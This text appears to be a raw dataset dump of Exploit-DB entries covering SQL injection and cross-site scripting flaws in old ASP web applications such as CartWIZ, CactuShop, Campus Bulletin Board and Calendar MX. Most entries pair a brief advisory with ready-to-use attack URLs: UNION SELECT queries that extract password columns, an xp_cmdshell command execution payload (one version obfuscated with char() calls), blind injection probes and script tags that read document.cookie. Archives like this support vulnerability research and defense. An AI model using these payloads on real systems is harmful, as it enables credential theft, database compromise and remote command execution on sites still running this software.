deardaniel/secdata-raw huggingface dataset:
Exploit-DB #23898
Description: Cactusoft CactuShop 5.0/5.1 - SQL Injection
Type: webapps
Platform: asp
Date: 2004-03-31
Author: Nick Gudov

Exploit:
source: https://www.securityfocus.com/bid/10019/info

Reportedly CactuShop is prone to a remote SQL injection vulnerability. This issue is due to a failure to properly sanitize user-supplied URI input before using it to craft an SQL query.

As a result of this, a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It may be possible for an attacker to disclose the administrator password hash by exploiting this issue. 

http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;+exec+master..xp_cmdshell+'dir+c:'--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed

http://www.example.com/payonline.asp/strAgain=yes&CD_EmailAddress=dummy@someemailservice.com&CD_Password=&CD_AffiliateID=&CD_CardholderCountry=200&CD_ShippingCountry=200&CD_ShippingPostcode=&strPaymentSystem=email&CP_CouponCode=&numLanguageID=1&numCurrencyID=1&numItemCount=2&strItems=214;declare%20@a%20sysname%20set%20@a%20=%20char(100)%2bchar(105)%2bchar(114)%2bchar(32)%2bchar(99)%2bchar(58)%20exec%20master..xp_cmdshell%20@a;--z165z&strQuantities=6z2z&numShipMethod=1&btnProceed=Proceed
Exploit-DB #2993
Description: Calendar MX BASIC 1.0.2 - 'ID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-12-23
Author: ajann

Exploit:
*******************************************************************************
# Title   :  Calendar MX BASIC <= 1.0.2 (ID) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# $$      :  Free

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//calendar_detail.asp?ID=[SQL]

Example:

//calendar_detail.asp?ID=-1%20union%20select%200,M_FIRST,M_PASSWORD,0,0,0,0,0,0,0,0,0,0,0,0%20from%20members%20where%20id%20like%201

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-12-23]
Exploit-DB #7327
Description: Calendar MX Professional 2.0.0 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-03
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------

 [~]Tybe:(calendar_Eventupdate.asp ID) Blind SQL Injection Vulnerability
   
 [~]Vendor: www.mxmania.net
   
 [~]Software: Calendar Mx Professional  
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] --------------------------------{str0ke}---------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://calendar.mxmania.net/calendar_Eventupdate.asp?ID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : calendar_Eventupdate.asp?ID=1 and 1=1

  f4L53: calendar_Eventupdate.asp?ID=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[[~]----------------------------------------{str0ke}----------------------------------------------
  

  [~] Greetz tO: {str0ke} & c08RA & black_R0se& maxmos & EV!L KS@ & hesham_hacker &EL z0herY
  [~]  
  [~] spechial thanks : dolly & 7am3m & W4L3d ? & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]-----------------------------------------{str0ke}----------------------------------------------

# milw0rm.com [2008-12-03]
Exploit-DB #27482
Description: Caloris Planitia Technologies School Management System 1.0 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-03-27
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17257/info

Caloris Planitia Technologies School Management System is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/default.asp?msg=[XSS]
Exploit-DB #31850
Description: Campus Bulletin Board 3.4 - '/post3/book.asp?review' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29375/info

Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/Book.asp?review=<script>alert(/xss/)</script>
Exploit-DB #31852
Description: Campus Bulletin Board 3.4 - '/post3/book.asp?review' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29375/info
  
Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/book.asp?review=-99&#039;)+union+select+0,password,uid,3,4,5,6,7,8,9,10+from+user+where+1=1+union+select+*+From+&#20844;&#20296;&#27396
;+Where+&#039;%&#039;=(&#039;
Exploit-DB #31851
Description: Campus Bulletin Board 3.4 - '/post3/view.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2008-05-26
Author: Unohope

Exploit:
source: https://www.securityfocus.com/bid/29375/info
 
Campus Bulletin Board is prone to multiple input-validation vulnerabilities, including multiple SQL-injection issues and a cross-site scripting issue, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Campus Bulletin Board 3.4 is vulnerable; other versions may also be affected. 

http://www.example.com/post3/view.asp?id=-99)+union+select+0,uid,password,3,4,5,6,7,8,9,10+from+user+where+1=(1
Exploit-DB #29037
Description: CandyPress Store 3.5.2 14 - 'openPolicy.asp?policy' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21090/info

CandyPress Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.5.2.14 is vulnerable; other versions may also be affected.

http://www.example.com/sa3.5.2.14/scripts/openPolicy.asp?policy='[sql]
Exploit-DB #29038
Description: CandyPress Store 3.5.2 14 - 'prodList.asp?brand' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-15
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21090/info

CandyPress Store is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.5.2.14 is vulnerable; other versions may also be affected.

http://www.example.com/sa3.5.2.14/scripts/prodList.asp?brand='[sql]
Exploit-DB #14419
Description: Caner Hikaye Script - SQL Injection
Type: webapps
Platform: asp
Date: 2010-07-20
Author: v0calist

Exploit:
===================================================
Caner Hikaye Scripti ( hikaye.asp?id=) Remote Sql inj
===================================================
 
Author : v0calist
Homepage : http://v0calist.blogspot.com  &  www.worldhackerz.com
Mail : v0calist[at]hotmail[dot].com
Script : http://scripti.org/indir.php?id=1155
Risk : No Risk
Dork : inurl:hikaye.asp?id=
 
===================================================

[+] Vulnerable File : http://www.site.com/hikaye.asp?id=123

===================================================

[+] Demo : http://www.site.com/hikaye.asp?id=17'a

===================================================

Greetz : MadConfig, Helia, Delp0rt3r

===================================================

# Turkish Hacker
Exploit-DB #29015
Description: Car Site Manager - '/csm/asp/detail.asp?p' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21066/info
 
Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/csm/asp/detail.asp?l=&p='[sql]
Exploit-DB #29016
Description: Car Site Manager - '/csm/asp/listings.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21066/info
  
Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/csm/asp/listings.asp?s=%3C%2Ftextarea%3E%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Exploit-DB #29014
Description: Car Site Manager - '/csm/asp/listings.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-14
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21066/info

Car Site Manager is prone to multiple SQL-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/csm/asp/listings.asp?l='[sql]
http://www.example.com/csm/asp/listings.asp?s=search&typ='[sql]
http://www.example.com/csm/asp/listings.asp?s=search&typ=4&loc='[sql]
Exploit-DB #25514
Description: CartWIZ 1.10 - 'Access.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13338/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/access.asp?redirect='"><script>alert(document.cookie)</script>
Exploit-DB #25506
Description: CartWIZ 1.10 - 'AddToCart.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13330/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/addToCart.asp?idProduct=[SQL]&quantity=1
Exploit-DB #25513
Description: CartWIZ 1.10 - 'AddToWishlist.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13337/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/addToWishlist.asp?idProduct='"><script>alert(document.cookie)</script>
Exploit-DB #25515
Description: CartWIZ 1.10 - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13339/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/error.asp?message='"><script>alert(document.cookie)</script>
Exploit-DB #25520
Description: CartWIZ 1.10 - 'login.asp' Message Argument Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13341/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/login.asp?message='"><script>alert(document.cookie)</script>&redirect=
Exploit-DB #25516
Description: CartWIZ 1.10 - 'login.asp' Redirect Argument Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13340/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/store/login.asp?message=Please+login+using+the+form+above+to+access+your+account.&redirect='"><script>alert(document.cookie)</script>
Exploit-DB #25507
Description: CartWIZ 1.10 - 'ProductCatalogSubCats.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13331/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/productCatalogSubCats.asp?idParentCategory=[SQL]
Exploit-DB #25508
Description: CartWIZ 1.10 - 'ProductDetails.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13332/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/productDetails.asp?idProduct=[SQL]
Exploit-DB #25511
Description: CartWIZ 1.10 - 'searchresults.asp' idcategory Argument SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13335/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/searchResults.asp?name=&idCategory=[SQL]&sku=&priceFrom=0&priceTo=[PII_REDACTED]&validate=1
Exploit-DB #25522
Description: CartWIZ 1.10 - 'searchresults.asp' Name Argument Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13343/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/searchResults.asp?name='"><script>alert(document.cookie)</script>&idCategory=&sku=&priceFrom=0&priceTo=[PII_REDACTED]&validate=1
Exploit-DB #25510
Description: CartWIZ 1.10 - 'searchresults.asp' PriceFrom Argument SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13334/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=[SQL]&priceTo=[PII_REDACTED]&validate=1
Exploit-DB #25509
Description: CartWIZ 1.10 - 'searchresults.asp' PriceTo Argument SQL Injection
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13333/info

CartWIZ is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to utilizing the data in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/store/searchResults.asp?name=&idCategory=&sku=&priceFrom=0&priceTo=[SQL]&validate=1
Exploit-DB #25521
Description: CartWIZ 1.10 - 'searchresults.asp' SKU Argument Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13342/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/searchResults.asp?name=&idCategory=&sku='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&priceFrom=0&priceTo=[PII_REDACTED]&validate=1
Exploit-DB #25512
Description: CartWIZ 1.10 - 'TellAFriend.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-04-23
Author: Dcrab

Exploit:
source: https://www.securityfocus.com/bid/13336/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/tellAFriend.asp?idProduct='"><script>alert(document.cookie)</script>
Exploit-DB #26033
Description: CartWIZ 1.10/1.20 - 'viewcart.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-07-26
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/14386/info

CartWIZ is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/store/viewCart.asp?message=%3Cplaintext%3E
Exploit-DB #31644
Description: Cezanne 6.5.1/7 - 'cflookup.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28772/info

Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.

Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CFLookUP.asp?LookUPId=>"><script>alert("S21sec")</script>&CbFun=Focus_CallBack&FUNID=7302062&CloseOnGet=yes
Exploit-DB #31645
Description: Cezanne 6.5.1/7 - 'CznCustomContainer.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-04-14
Author: Juan de la Fuente Costa

Exploit:
source: https://www.securityfocus.com/bid/28772/info
 
Cezanne Software is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
Authenticated attackers may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow attackers to steal cookie-based authentication credentials and to launch other attacks.
 
Cezanne 6.5.1 and 7 are vulnerable; other versions may also be affected. 

https://www.example.es/cezanneweb/CznCommon/CznCustomContainer.asp?ACTION=RETRIEVE&Columns=2&Title=7302053&TitleParms="></title><script>alert(&#039;%20S21Sec%20&#039;)</script>&WidgetsFunctions=7100027%2C7302015&WidgetsColumns=1%2C1&WidgetsTogglers=Y%2CY&WidgetsHeights=%2D1%2C%2D1&WidgetsLinks=&WidgetsTitles=%2D1%2C%2D1&HideNonWorkingWidgets=Y&FUNID=7302031&LINKID=%2D1